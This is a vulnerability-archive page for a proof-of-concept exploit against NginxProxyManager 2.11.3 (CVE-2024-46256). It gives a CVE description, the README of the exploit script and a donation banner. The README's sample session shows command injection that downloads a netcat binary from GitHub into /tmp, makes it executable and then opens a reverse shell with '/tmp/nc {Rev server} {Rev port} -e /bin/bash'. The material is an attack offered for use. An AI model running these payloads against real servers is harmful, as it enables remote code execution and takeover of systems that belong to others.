Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-46256 PoC — NginxProxyManager 安全漏洞

Source
Associated Vulnerability
Title:NginxProxyManager 安全漏洞 (CVE-2024-46256)
Description:NginxProxyManager是NginxProxyManager个人开发者的用于管理 Nginx 代理主机的 Docker 容器,具有简单、强大的界面。 NginxProxyManager 2.11.3版本存在安全漏洞,该漏洞源于存在命令注入漏洞,允许攻击者通过Add Lets Encrypt证书进行远程代码执行。
Description
POC_CVE-2024-46256
Readme
# POC_CVE-2024-46256

_CVE-2024-46256 and CVE-2024-46257 is the same POC, just change the provider param._
---
# Note

Sometimes the nc file can't execute on the server or can't execute command!
---
# Install require

```html
pip install requests
```

# Run Exploit

```html
python3 POC_CVE-2024-46256.py

[+] Target type (IP/Host)? (i/h): i
[+] Enter IP or Host: {IP/HOST}
[+] Enter Port: {PORT}
[+] Enter username: {USERNAME}
[+] Enter password: {PASS}
[+] Token obtained: {token auto get}
[+] Sending payload: curl https://raw.githubusercontent.com/yunchih/static-binaries/master/nc -o /tmp/nc
[+] Command executed: curl https://raw.githubusercontent.com/yunchih/static-binaries/master/nc -o /tmp/nc
[+] Sending payload: chmod +x /tmp/nc
[+] Command executed: chmod +x /tmp/nc
[+] Target is vulnerable!
[+] Proceed with reverse shell? (y/n): y
[+] Enter reverse shell IP: {Rev server}
[+] Enter reverse shell port: {Rev port}
[+] Command executed: /tmp/nc {Rev server} {Rev port} -e /bin/bash
[+] Reverse shell command executed!
```

File Snapshot

[4.0K] /data/pocs/cf6aac194626793f7a6bd53e051d6a4d4c884ad3 ├── [3.5K] POC_CVE-2024-46256.py └── [1.0K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.